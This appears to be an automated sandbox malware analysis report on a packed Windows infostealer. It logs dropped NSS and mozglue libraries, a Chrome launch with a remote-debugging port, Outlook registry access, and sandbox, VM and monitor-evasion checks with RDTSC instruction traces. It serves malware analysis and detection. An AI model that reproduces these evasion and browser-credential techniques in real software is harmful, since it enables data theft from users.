Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6309A0	0_2_6C6309A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65A9A0	0_2_6C65A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6609B0	0_2_6C6609B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61CA70	0_2_6C61CA70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C658A30	0_2_6C658A30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64EA00	0_2_6C64EA00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61EA80	0_2_6C61EA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A6BE0	0_2_6C6A6BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C640BA0	0_2_6C640BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A8BAC	0_2_6C5A8BAC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B8460	0_2_6C5B8460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C604420	0_2_6C604420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62A430	0_2_6C62A430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E64D0	0_2_6C5E64D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63A4D0	0_2_6C63A4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CA480	0_2_6C6CA480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C602560	0_2_6C602560
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C640570	0_2_6C640570

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C72DAE0 appears 31 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C52CBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C5C3620 appears 32 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C5394D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C7209D0 appears 121 times

Source: file.exe, 00000000.00000002.2134484436.000000006C582000.00000002.00000001.01000000.00000010.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: lblfonbf ZLIB complexity 0.9949443341736905

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@17/37@6/7

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C557030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C557030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\CWH3AQJ4.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2129159079.000000001DDB2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmp, file.exe, 00000000.00000002.2134065542.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2129159079.000000001DDB2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmp, file.exe, 00000000.00000002.2134065542.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2129159079.000000001DDB2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmp, file.exe, 00000000.00000002.2134065542.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2129159079.000000001DDB2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmp, file.exe, 00000000.00000002.2134065542.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, file.exe, 00000000.00000002.2129159079.000000001DDB2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmp, file.exe, 00000000.00000002.2134065542.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2129159079.000000001DDB2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2134065542.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2129159079.000000001DDB2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmp, file.exe, 00000000.00000002.2134065542.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1926874222.000000001DCB4000.00000004.00000020.00020000.00000000.sdmp, GHDHDGHJEBGIDGDGIJJK.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2129159079.000000001DDB2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2134065542.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2129159079.000000001DDB2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2134065542.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 39%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2416 --field-trial-handle=2320,i,17426783220369495163,5867397490255039380,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2416 --field-trial-handle=2320,i,17426783220369495163,5867397490255039380,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 2139136 > 1048576

Source: file.exe

Static PE information: Raw size of lblfonbf is bigger than: 0x100000 < 0x19f400

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2134386349.000000006C56D000.00000002.00000001.01000000.00000010.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2134941060.000000006C7F1000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2109583289.0000000000C3C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1711896895.000000000569B000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2134941060.000000006C7F1000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2109583289.0000000000C3C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1711896895.000000000569B000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2134386349.000000006C56D000.00000002.00000001.01000000.00000010.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.c10000.0.unpack :EW;.rsrc :W;.idata :W; :EW;lblfonbf:EW;aqgwpusn:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;lblfonbf:EW;aqgwpusn:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C55C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C55C410

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: chrome.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0xb0b18
Source: file.exe	Static PE information: real checksum: 0x211522 should be: 0x2123dc

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: lblfonbf
Source: file.exe	Static PE information: section name: aqgwpusn
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C52B536 push ecx; ret

0_2_6C52B549

Source: file.exe

Static PE information: section name: lblfonbf entropy: 7.9533230721228705

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5555F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C5555F0

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10807A5 second address: 10807CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AD12BE0A0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jns 00007F3AD12BE09Ch 0x0000000f pushad 0x00000010 ja 00007F3AD12BE096h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1080C7F second address: 1080C85 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1084AD5 second address: 1084AD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1084AD9 second address: 1084AE3 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F3AD1315046h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1084AE3 second address: 1084AED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F3AD12BE096h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1084AED second address: 1084AF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1084AF1 second address: 1084B5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 41DCB294h 0x0000000f movzx ecx, bx 0x00000012 push 00000003h 0x00000014 cld 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push edx 0x0000001a call 00007F3AD12BE098h 0x0000001f pop edx 0x00000020 mov dword ptr [esp+04h], edx 0x00000024 add dword ptr [esp+04h], 0000001Dh 0x0000002c inc edx 0x0000002d push edx 0x0000002e ret 0x0000002f pop edx 0x00000030 ret 0x00000031 jp 00007F3AD12BE09Ch 0x00000037 push 00000003h 0x00000039 pushad 0x0000003a mov dword ptr [ebp+122D3133h], ecx 0x00000040 js 00007F3AD12BE09Ch 0x00000046 jbe 00007F3AD12BE096h 0x0000004c popad 0x0000004d call 00007F3AD12BE099h 0x00000052 push eax 0x00000053 push eax 0x00000054 push edx 0x00000055 pushad 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1084B5D second address: 1084B8C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 jp 00007F3AD131505Fh 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push edi 0x00000013 push edi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1084C4B second address: 1084C97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007F3AD12BE09Fh 0x0000000d pushad 0x0000000e jmp 00007F3AD12BE09Dh 0x00000013 js 00007F3AD12BE096h 0x00000019 popad 0x0000001a popad 0x0000001b nop 0x0000001c adc dx, F6C1h 0x00000021 push 00000000h 0x00000023 jmp 00007F3AD12BE09Dh 0x00000028 push 3EAD6395h 0x0000002d push esi 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1084C97 second address: 1084C9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1084C9B second address: 1084C9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1084C9F second address: 1084CF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 xor dword ptr [esp], 3EAD6315h 0x0000000e sub dword ptr [ebp+122D183Dh], ebx 0x00000014 push 00000003h 0x00000016 push 00000000h 0x00000018 push edx 0x00000019 call 00007F3AD1315048h 0x0000001e pop edx 0x0000001f mov dword ptr [esp+04h], edx 0x00000023 add dword ptr [esp+04h], 00000018h 0x0000002b inc edx 0x0000002c push edx 0x0000002d ret 0x0000002e pop edx 0x0000002f ret 0x00000030 mov di, dx 0x00000033 push 00000000h 0x00000035 xor dword ptr [ebp+122D2D0Eh], ecx 0x0000003b push 00000003h 0x0000003d je 00007F3AD131504Ch 0x00000043 mov edi, dword ptr [ebp+122D3768h] 0x00000049 push 6BB28841h 0x0000004e pushad 0x0000004f push eax 0x00000050 push edx 0x00000051 push eax 0x00000052 push edx 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1084CF8 second address: 1084CFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1084E8C second address: 1084EA4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AD1315054h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1084EA4 second address: 1084EC8 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F3AD12BE09Ch 0x00000008 jbe 00007F3AD12BE096h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 push eax 0x00000015 jl 00007F3AD12BE098h 0x0000001b push ecx 0x0000001c pop ecx 0x0000001d pop eax 0x0000001e mov eax, dword ptr [eax] 0x00000020 pushad 0x00000021 push ecx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
